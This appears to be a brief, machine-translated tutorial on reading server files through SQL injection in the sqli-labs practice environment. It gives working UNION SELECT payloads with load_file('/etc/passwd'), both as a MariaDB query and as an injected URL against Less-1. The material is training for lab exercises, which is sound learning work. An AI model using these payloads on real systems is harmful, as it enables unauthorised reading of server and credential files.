SQL injection read / write file

1、 SQL Inject read /etc/passwd file

stay MySQL Read files from , Use load_file(" File path / name ")

MariaDB [security]> select * from users where id=-1 union select 1,load_file("/etc/passwd"),3\G;

Access to the Less-1 page ：

http://192.168.98.66/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3--+

Use union The joint query , Execute in exportable position load_file Function to read the file